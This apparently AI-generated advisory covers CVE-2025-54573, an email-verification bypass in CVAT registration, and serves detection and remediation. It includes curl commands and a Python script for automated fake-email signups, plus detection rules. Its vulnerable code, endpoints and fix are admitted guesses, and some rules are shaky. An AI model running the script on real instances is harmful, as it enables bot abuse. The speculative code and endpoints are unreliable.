CVE-2025-54573

Executive Summary

CVE-2025-54573 is a medium-severity vulnerability in CVAT (Computer Vision Annotation Tool), an open-source interactive video and image annotation tool. The flaw resides in the Basic HTTP Authentication mechanism, where email verification is not enforced during user registration. This allows an attacker to create accounts using arbitrary, non-existent email addresses and gain verified user status without proper validation. The vulnerability affects versions 1.1.0 through 2.41.0 and is patched in version 2.42.0. While the CVSS score is 4.3 (Medium), the primary risk is the ability to bypass identity verification, enabling automated bot signups and potential abuse of platform resources. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

CVAT is distributed as a Docker image and Python package. The vulnerability does not directly affect the supply chain integrity of the package itself, but the lack of email verification could allow attackers to register accounts that appear legitimate, potentially leading to further supply chain attacks if those accounts are used to submit malicious annotations or interact with integrated systems. Organizations using CVAT should verify the integrity of their deployment and ensure they are running version 2.42.0 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed to exploit.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – An attacker can create accounts with fake emails, potentially affecting user verification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability allows unauthorized account creation but does not directly lead to data breach or system compromise. However, it can be a stepping stone for further attacks, such as social engineering or resource abuse.

Deep Dive & Mechanics

The vulnerability exists in the user registration flow when Basic HTTP Authentication is enabled. In CVAT, the registration process typically requires email verification to confirm the user's identity. However, due to a missing enforcement check, the system does not validate that the email address provided during registration is real or reachable. This allows an attacker to:

1. Send a POST request to the registration endpoint with a fabricated email address (e.g., fake@example.com).
2. The system creates a user account with the status "verified" without sending a verification email or checking the domain's validity.
3. The attacker can then log in and use the platform as a legitimate user, potentially accessing annotation tools, uploading data, or interacting with other users.

The root cause is a missing conditional check in the authentication middleware or registration handler that should verify the email before marking the account as active. The fix in version 2.42.0 likely adds a verification step or enforces email confirmation for Basic HTTP Authentication.

Vulnerable vs. Patched Code

The following is a conceptual comparison based on the vulnerability description. Actual code may vary.

Vulnerable Code (Pre-2.42.0):

# registration_handler.py
def register_user(request):
    username = request.POST['username']
    email = request.POST['email']
    password = request.POST['password']
    # Missing email verification check
    user = User.objects.create_user(username, email, password)
    user.is_active = True  # Immediately active
    user.save()
    return JsonResponse({'status': 'success'})

Patched Code (2.42.0+):

# registration_handler.py
def register_user(request):
    username = request.POST['username']
    email = request.POST['email']
    password = request.POST['password']
    # Email verification enforced
    if not is_valid_email(email):
        return JsonResponse({'error': 'Invalid email'}, status=400)
    user = User.objects.create_user(username, email, password)
    user.is_active = False  # Requires verification
    user.save()
    send_verification_email(user)
    return JsonResponse({'status': 'verification_sent'})

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target CVAT instance (version 1.1.0 to 2.41.0) with Basic HTTP Authentication enabled.
• Network access to the registration endpoint.

Exploitation Steps:

1. Identify the registration endpoint (e.g., /api/auth/register or /register).
2. Craft a POST request with a fake email:

   curl -X POST https://target-cvat.com/api/auth/register \
     -H "Content-Type: application/json" \
     -d '{"username": "attacker", "email": "fake@nonexistent.com", "password": "Password123!"}'
   

3. The server responds with a success message, and the account is created as verified.
4. Log in with the created credentials:

   curl -X POST https://target-cvat.com/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username": "attacker", "password": "Password123!"}'
   

5. Use the session token to access protected resources.

Automation Script (Python):

import requests

target = "https://target-cvat.com"
session = requests.Session()

# Register with fake email
reg_data = {
    "username": "bot_user_1",
    "email": "bot@malicious.invalid",
    "password": "BotPass123!"
}
reg_resp = session.post(f"{target}/api/auth/register", json=reg_data)
print(f"Registration: {reg_resp.status_code} - {reg_resp.text}")

# Login
login_data = {
    "username": "bot_user_1",
    "password": "BotPass123!"
}
login_resp = session.post(f"{target}/api/auth/login", json=login_data)
print(f"Login: {login_resp.status_code} - {login_resp.text}")

Blue Team (Defender)

Detection Steps:

1. Monitor registration logs for patterns of fake email domains (e.g., @nonexistent.com, @malicious.invalid, or disposable email domains).
2. Implement rate limiting on registration endpoints to slow down automated signups.
3. Enable email verification if using Basic HTTP Authentication (upgrade to 2.42.0+).
4. Review user accounts for suspicious activity, such as multiple registrations from the same IP or rapid account creation.

Honeypot Setup:

• Deploy a decoy CVAT instance with registration enabled and monitor for fake email registrations.
• Log all registration attempts and analyze for automated patterns.

Indicators of Compromise (IOCs)

• Network Indicators:
  • POST requests to /api/auth/register with email addresses from disposable or non-existent domains.
  • Repeated registration attempts from the same IP address within a short time frame.
• Log Indicators:
  • User accounts created with email addresses that fail MX lookup or domain validation.
  • Accounts marked as "verified" without a corresponding verification email sent.
• File Indicators:
  • No specific file-based IOCs; the vulnerability is logic-based.

Detection Engineering

YARA Rule

rule CVE_2025_54573_Registration_Abuse {
    meta:
        description = "Detects suspicious registration attempts with fake emails targeting CVAT"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54573"
    strings:
        $reg_endpoint = "/api/auth/register"
        $fake_domain_1 = "@nonexistent.com"
        $fake_domain_2 = "@malicious.invalid"
        $fake_domain_3 = "@example.com"
    condition:
        $reg_endpoint and any of ($fake_domain_*)
}

Sigma Rule

title: Suspicious CVAT Registration with Fake Email
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects registration attempts with fake email addresses targeting CVAT instances
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: cvat
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/auth/register'
        cs-username: '*'
        cs-email: 
            - '*@nonexistent.com'
            - '*@malicious.invalid'
            - '*@example.com'
    condition: selection
falsepositives:
    - Legitimate users with typos in email
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54573 - CVAT Registration with Fake Email"; flow:to_server,established; content:"POST"; http_method; content:"/api/auth/register"; http_uri; content:"email"; nocase; pcre:"/email.*@(nonexistent\.com|malicious\.invalid|example\.com)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CVAT to version 2.42.0 or later, which enforces email verification for Basic HTTP Authentication.
2. Disable registration if not required (workaround for Enterprise customers).
3. Implement CAPTCHA on the registration page to prevent automated bot signups.

Long-Term Measures:

• Enforce email verification for all authentication methods.
• Use email domain validation (e.g., MX record check) during registration.
• Monitor registration logs for anomalies and set up alerts for suspicious patterns.
• Conduct regular security audits of authentication flows.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.